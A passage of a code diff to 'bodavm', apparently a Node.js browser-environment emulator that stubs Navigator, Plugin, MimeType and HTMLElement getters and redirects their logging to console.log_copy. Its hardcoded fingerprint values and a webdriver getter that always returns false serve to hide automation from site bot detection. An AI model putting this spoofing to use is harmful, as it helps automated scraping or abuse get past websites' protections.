bodavm.envFunc.Navigator_hardwareConcurrency_get = function Navigator_hardwareConcurrency_get() { - console.log(`Navigator_hardwareConcurrency_get `, `${8} `); + console.log_copy(`Navigator_hardwareConcurrency_get `, `${8} `); return 8 } bodavm.envFunc.Navigator_plugins_get = function Navigator_plugin_get() { let plugin = bodavm.memory.globalInit.pluginArray; - console.log(`Navigator_plugins_get `, `plugin->${plugin} `) - return plugin + console.log_copy(`Navigator_plugins_get `, `plugin->${plugin} `) + res=Object.create(plugin) + return res } bodavm.envFunc.Navigator_mimeTypes_get = function Navigator_mimeTypes_get() { let mimeTypeArray = bodavm.memory.globalInit["mimeTypeArray"] - console.log(`Navigator_mimeTypes_get `, `${mimeTypeArray} `) + console.log_copy(`Navigator_mimeTypes_get `, `${mimeTypeArray} `) return mimeTypeArray } bodavm.envFunc.Navigator_userAgent_get = function Navigator_userAgent_get() { let ua = bodavm.memory.navigator["userAgent"] // debugger - console.log(`Navigator_userAgent_get `, `${ua} `) + console.log_copy(`Navigator_userAgent_get `, `${ua} `) // debugger return ua } @@ -3713,32 +3965,32 @@ Object.setPrototypeOf(webkitPersistentStorage, bodavm.memory.globalobj['DeprecatedStorageQuota'].prototype) delete bodavm.memory.globalobj['DeprecatedStorageQuota'].prototype.constructor; - console.log(`Navigator_webkitPersistentStorage_get `, `${webkitPersistentStorage} `) + console.log_copy(`Navigator_webkitPersistentStorage_get `, `${webkitPersistentStorage} `) if (bodavm.config.isdebug) { debugger };; return webkitPersistentStorage } bodavm.envFunc.Navigator_languages_get = function Navigator_languages_get() { let languages = bodavm.memory.navigator["languages"] - console.log(`Navigator_languages_get `, `${languages} `) + console.log_copy(`Navigator_languages_get `, `${languages} `) return languages } bodavm.envFunc.Navigator_language_get = function Navigator_languages_get() { let language = bodavm.memory.navigator["language"] - console.log(`Navigator_language_get `, `${language} `) + console.log_copy(`Navigator_language_get `, `${language} `) return language } bodavm.envFunc.Navigator_appVersion_get = function Navigator_appVersion_get() { let appVersion = bodavm.memory.navigator["appVersion"] - console.log(`Navigator_appVersion_get `, `${appVersion} `) + console.log_copy(`Navigator_appVersion_get `, `${appVersion} `) return appVersion } bodavm.envFunc.Navigator_getBattery = function Navigator_getBattery() { debugger let batteryManager = bodavm.memory.cache['Navigator_getBattery']; batteryManager._boisinit=true - console.log(`Navigator_getBattery `, 'settimeout 添加异步电池信息'); + console.log_copy(`Navigator_getBattery `, 'settimeout 添加异步电池信息'); batteryManager.__proto__ = bodavm.memory.globalobj['BatteryManager'].prototype // debugger // bodavm.toolsFunc.symbolProperty(batteryManager) @@ -3750,19 +4002,19 @@ } bodavm.envFunc.Navigator_webdriver_get = function Navigator_webdriver_get() { if (bodavm.config.isdebug) { debugger };; - console.log(`Navigator_webdriver_get `, `false `); + console.log_copy(`Navigator_webdriver_get `, `false `); return false } bodavm.envFunc.Navigator_connection_get = function Navigator_connection_get() { if (bodavm.config.isdebug) { debugger }; let connection = bodavm.memory.navigator['connection'] - console.log(`Navigator_connection_get `, `${connection} `) + console.log_copy(`Navigator_connection_get `, `${connection} `) Object.setPrototypeOf(connection, bodavm.memory.globalobj['NetworkInformation'].prototype) return connection } bodavm.envFunc.Navigator_cookieEnabled_get = function Navigator_cookieEnabled_get() { let cookieEnabled = bodavm.memory.navigator['cookieEnabled'] - console.log(`Navigator_cookieEnabled_get`, `${cookieEnabled} `) + console.log_copy(`Navigator_cookieEnabled_get`, `${cookieEnabled} `) return cookieEnabled } @@ -3770,190 +4022,218 @@ bodavm.envFunc.MimeTypeArray_namedItem = function MimeTypeArray_namedItem() { let name = arguments[0]; + console.log_copy(`MimeTypeArray_namedItem -> `,`arg -> `,name); return this[name]; } bodavm.envFunc.MimeTypeArray_item = function MimeTypeArray_item() { let index = arguments[0]; + console.log_copy(`MimeTypeArray_item -> `,`arg -> `,index); return this[index]; } bodavm.envFunc.Plugin_namedItem = function Plugin_namedItem() { let name = arguments[0]; + console.log_copy(`Plugin_namedItem -> `,`arg -> `,name); return this[name]; } bodavm.envFunc.Plugin_item = function Plugin_item() { let index = arguments[0]; + console.log_copy(`Plugin_item -> `,`arg -> `,index); return this[index]; } bodavm.envFunc.PluginArray_namedItem = function PluginArray_namedItem() { let name = arguments[0]; + console.log_copy(`PluginArray_namedItem -> `,`arg -> `,name); return this[name]; } bodavm.envFunc.PluginArray_item = function PluginArray_item() { let index = arguments[0]; - - return this[index]; + itemindex=index % 42949672960 + console.log_copy(`PluginArray_item -> `,`arg -> `,index); + return this[itemindex]; } bodavm.envFunc.Navigator_mimeTypes_get = function Navigator_mimeTypes_get() { + console.log_copy(`Navigator_mimeTypes_get -> `,`arg -> `); + return bodavm.memory.globalInit.mimeTypeArray; } bodavm.envFunc.MimeType_suffixes_get = function MimeType_suffixes_get() { + console.log_copy(`MimeType_suffixes_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "suffixes"); } bodavm.envFunc.MimeType_enabledPlugin_get = function MimeType_enabledPlugin_get() { + console.log_copy(`MimeType_enabledPlugin_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "enabledPlugin"); } bodavm.envFunc.MimeType_description_get = function MimeType_description_get() { + console.log_copy(`MimeType_description_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "description"); } bodavm.envFunc.Plugin_length_get = function Plugin_length_get() { + console.log_copy(`Plugin_length_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "length"); } bodavm.envFunc.Plugin_filename_get = function Plugin_filename_get() { + console.log_copy(`Plugin_filename_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "filename"); } bodavm.envFunc.Plugin_description_get = function Plugin_description_get() { + console.log_copy(`Plugin_description_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "description"); } bodavm.envFunc.Plugin_name_get = function Plugin_name_get() { + console.log_copy(`Plugin_name_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "name"); } bodavm.envFunc.PluginArray_length_get = function PluginArray_length_get() { + console.log_copy(`PluginArray_length_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "length"); } bodavm.envFunc.MimeType_type_get = function MimeType_type_get() { + console.log_copy(`MimeType_type_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "type"); } bodavm.envFunc.MimeTypeArray_length_get = function MimeTypeArray_length_get() { + console.log_copy(`MimeTypeArray_length_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "length"); } //HTMLElement - bodavm.envFunc.HTMLElement_accessKey_get = function HTMLElement_accessKey_get() { console.log("HTMLElement_accessKey_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_autocapitalize_get = function HTMLElement_autocapitalize_get() { console.log("HTMLElement_autocapitalize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_autofocus_get = function HTMLElement_autofocus_get() { console.log("HTMLElement_autofocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_contentEditable_get = function HTMLElement_contentEditable_get() { console.log("HTMLElement_contentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_dataset_get = function HTMLElement_dataset_get() { console.log("HTMLElement_dataset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_dir_get = function HTMLElement_dir_get() { console.log("HTMLElement_dir_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_draggable_get = function HTMLElement_draggable_get() { console.log("HTMLElement_draggable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_enterKeyHint_get = function HTMLElement_enterKeyHint_get() { console.log("HTMLElement_enterKeyHint_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_hidden_get = function HTMLElement_hidden_get() { console.log("HTMLElement_hidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_inputMode_get = function HTMLElement_inputMode_get() { console.log("HTMLElement_inputMode_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_inert_get = function HTMLElement_inert_get() { console.log("HTMLElement_inert_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_isContentEditable_get = function HTMLElement_isContentEditable_get() { console.log("HTMLElement_isContentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_lang_get = function HTMLElement_lang_get() { console.log("HTMLElement_lang_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_nonce_get = function HTMLElement_nonce_get() { console.log("HTMLElement_nonce_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_offsetTop_get = function HTMLElement_offsetTop_get() { console.log("HTMLElement_offsetTop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_offsetParent_get = function HTMLElement_offsetParent_get() { console.log("HTMLElement_offsetParent_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_offsetLeft_get = function HTMLElement_offsetLeft_get() { console.log("HTMLElement_offsetLeft_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onabort_get = function HTMLElement_onabort_get() { console.log("HTMLElement_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onanimationend_get = function HTMLElement_onanimationend_get() { console.log("HTMLElement_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onanimationiteration_get = function HTMLElement_onanimationiteration_get() { console.log("HTMLElement_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onanimationstart_get = function HTMLElement_onanimationstart_get() { console.log("HTMLElement_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onauxclick_get = function HTMLElement_onauxclick_get() { console.log("HTMLElement_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onbeforematch_get = function HTMLElement_onbeforematch_get() { console.log("HTMLElement_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onbeforexrselect_get = function HTMLElement_onbeforexrselect_get() { console.log("HTMLElement_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onblur_get = function HTMLElement_onblur_get() { console.log("HTMLElement_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncancel_get = function HTMLElement_oncancel_get() { console.log("HTMLElement_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncanplay_get = function HTMLElement_oncanplay_get() { console.log("HTMLElement_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncanplaythrough_get = function HTMLElement_oncanplaythrough_get() { console.log("HTMLElement_oncanplaythrough_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onchange_get = function HTMLElement_onchange_get() { console.log("HTMLElement_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onclick_get = function HTMLElement_onclick_get() { console.log("HTMLElement_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onclose_get = function HTMLElement_onclose_get() { console.log("HTMLElement_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncontextlost_get = function HTMLElement_oncontextlost_get() { console.log("HTMLElement_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncontextmenu_get = function HTMLElement_oncontextmenu_get() { console.log("HTMLElement_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncontextrestored_get = function HTMLElement_oncontextrestored_get() { console.log("HTMLElement_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncopy_get = function HTMLElement_oncopy_get() { console.log("HTMLElement_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncuechange_get = function HTMLElement_oncuechange_get() { console.log("HTMLElement_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondblclick_get = function HTMLElement_ondblclick_get() { console.log("HTMLElement_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncut_get = function HTMLElement_oncut_get() { console.log("HTMLElement_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondrag_get = function HTMLElement_ondrag_get() { console.log("HTMLElement_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragleave_get = function HTMLElement_ondragleave_get() { console.log("HTMLElement_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragstart_get = function HTMLElement_ondragstart_get() { console.log("HTMLElement_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragenter_get = function HTMLElement_ondragenter_get() { console.log("HTMLElement_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragend_get = function HTMLElement_ondragend_get() { console.log("HTMLElement_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragover_get = function HTMLElement_ondragover_get() { console.log("HTMLElement_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondrop_get = function HTMLElement_ondrop_get() { console.log("HTMLElement_ondrop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondurationchange_get = function HTMLElement_ondurationchange_get() { console.log("HTMLElement_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onemptied_get = function HTMLElement_onemptied_get() { console.log("HTMLElement_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onended_get = function HTMLElement_onended_get() { console.log("HTMLElement_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onerror_get = function HTMLElement_onerror_get() { console.log("HTMLElement_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onfocus_get = function HTMLElement_onfocus_get() { console.log("HTMLElement_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onformdata_get = function HTMLElement_onformdata_get() { console.log("HTMLElement_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ongotpointercapture_get = function HTMLElement_ongotpointercapture_get() { console.log("HTMLElement_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oninput_get = function HTMLElement_oninput_get() { console.log("HTMLElement_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onkeydown_get = function HTMLElement_onkeydown_get() { console.log("HTMLElement_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onkeypress_get = function HTMLElement_onkeypress_get() { console.log("HTMLElement_onkeypress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onkeyup_get = function HTMLElement_onkeyup_get() { console.log("HTMLElement_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oninvalid_get = function HTMLElement_oninvalid_get() { console.log("HTMLElement_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onload_get = function HTMLElement_onload_get() { console.log("HTMLElement_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onloadedmetadata_get = function HTMLElement_onloadedmetadata_get() { console.log("HTMLElement_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onlostpointercapture_get = function HTMLElement_onlostpointercapture_get() { console.log("HTMLElement_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onloadeddata_get = function HTMLElement_onloadeddata_get() { console.log("HTMLElement_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onloadstart_get = function HTMLElement_onloadstart_get() { console.log("HTMLElement_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmousedown_get = function HTMLElement_onmousedown_get() { console.log("HTMLElement_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseleave_get = function HTMLElement_onmouseleave_get() { console.log("HTMLElement_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmousemove_get = function HTMLElement_onmousemove_get() { console.log("HTMLElement_onmousemove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseout_get = function HTMLElement_onmouseout_get() { console.log("HTMLElement_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseup_get = function HTMLElement_onmouseup_get() { console.log("HTMLElement_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseover_get = function HTMLElement_onmouseover_get() { console.log("HTMLElement_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmousewheel_get = function HTMLElement_onmousewheel_get() { console.log("HTMLElement_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpaste_get = function HTMLElement_onpaste_get() { console.log("HTMLElement_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpause_get = function HTMLElement_onpause_get() { console.log("HTMLElement_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onplay_get = function HTMLElement_onplay_get() { console.log("HTMLElement_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onplaying_get = function HTMLElement_onplaying_get() { console.log("HTMLElement_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointercancel_get = function HTMLElement_onpointercancel_get() { console.log("HTMLElement_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerdown_get = function HTMLElement_onpointerdown_get() { console.log("HTMLElement_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerleave_get = function HTMLElement_onpointerleave_get() { console.log("HTMLElement_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointermove_get = function HTMLElement_onpointermove_get() { console.log("HTMLElement_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerover_get = function HTMLElement_onpointerover_get() { console.log("HTMLElement_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerout_get = function HTMLElement_onpointerout_get() { console.log("HTMLElement_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerenter_get = function HTMLElement_onpointerenter_get() { console.log("HTMLElement_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerrawupdate_get = function HTMLElement_onpointerrawupdate_get() { console.log("HTMLElement_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerup_get = function HTMLElement_onpointerup_get() { console.log("HTMLElement_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onprogress_get = function HTMLElement_onprogress_get() { console.log("HTMLElement_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onratechange_get = function HTMLElement_onratechange_get() { console.log("HTMLElement_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onreset_get = function HTMLElement_onreset_get() { console.log("HTMLElement_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onscroll_get = function HTMLElement_onscroll_get() { console.log("HTMLElement_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onsecuritypolicyviolation_get = function HTMLElement_onsecuritypolicyviolation_get() { console.log("HTMLElement_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onseeked_get = function HTMLElement_onseeked_get() { console.log("HTMLElement_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onseeking_get = function HTMLElement_onseeking_get() { console.log("HTMLElement_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onselect_get = function HTMLElement_onselect_get() { console.log("HTMLElement_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onselectionchange_get = function HTMLElement_onselectionchange_get() { console.log("HTMLElement_onselectionchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onselectstart_get = function HTMLElement_onselectstart_get() { console.log("HTMLElement_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onslotchange_get = function HTMLElement_onslotchange_get() { console.log("HTMLElement_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onstalled_get = function HTMLElement_onstalled_get() { console.log("HTMLElement_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onsuspend_get = function HTMLElement_onsuspend_get() { console.log("HTMLElement_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontimeupdate_get = function HTMLElement_ontimeupdate_get() { console.log("HTMLElement_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onsubmit_get = function HTMLElement_onsubmit_get() { console.log("HTMLElement_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontoggle_get = function HTMLElement_ontoggle_get() { console.log("HTMLElement_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitioncancel_get = function HTMLElement_ontransitioncancel_get() { console.log("HTMLElement_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitionrun_get = function HTMLElement_ontransitionrun_get() { console.log("HTMLElement_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitionstart_get = function HTMLElement_ontransitionstart_get() { console.log("HTMLElement_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitionend_get = function HTMLElement_ontransitionend_get() { console.log("HTMLElement_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onvolumechange_get = function HTMLElement_onvolumechange_get() { console.log("HTMLElement_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwaiting_get = function HTMLElement_onwaiting_get() { console.log("HTMLElement_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkitanimationend_get = function HTMLElement_onwebkitanimationend_get() { console.log("HTMLElement_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkitanimationiteration_get = function HTMLElement_onwebkitanimationiteration_get() { console.log("HTMLElement_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkitanimationstart_get = function HTMLElement_onwebkitanimationstart_get() { console.log("HTMLElement_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkittransitionend_get = function HTMLElement_onwebkittransitionend_get() { console.log("HTMLElement_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwheel_get = function HTMLElement_onwheel_get() { console.log("HTMLElement_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_outerText_get = function HTMLElement_outerText_get() { console.log("HTMLElement_outerText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_spellcheck_get = function HTMLElement_spellcheck_get() { console.log("HTMLElement_spellcheck_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_tabIndex_get = function HTMLElement_tabIndex_get() { console.log("HTMLElement_tabIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_title_get = function HTMLElement_title_get() { console.log("HTMLElement_title_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_translate_get = function HTMLElement_translate_get() { console.log("HTMLElement_translate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_virtualKeyboardPolicy_get = function HTMLElement_virtualKeyboardPolicy_get() { console.log("HTMLElement_virtualKeyboardPolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_accessKey_get = function HTMLElement_accessKey_get() { console.log_copy("HTMLElement_accessKey_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_autocapitalize_get = function HTMLElement_autocapitalize_get() { console.log_copy("HTMLElement_autocapitalize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_autofocus_get = function HTMLElement_autofocus_get() { console.log_copy("HTMLElement_autofocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_contentEditable_get = function HTMLElement_contentEditable_get() { console.log_copy("HTMLElement_contentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_dataset_get = function HTMLElement_dataset_get() { console.log_copy("HTMLElement_dataset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_dir_get = function HTMLElement_dir_get() { console.log_copy("HTMLElement_dir_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_draggable_get = function HTMLElement_draggable_get() { console.log_copy("HTMLElement_draggable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_enterKeyHint_get = function HTMLElement_enterKeyHint_get() { console.log_copy("HTMLElement_enterKeyHint_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_hidden_get = function HTMLElement_hidden_get() { console.log_copy("HTMLElement_hidden_get ", undefined, 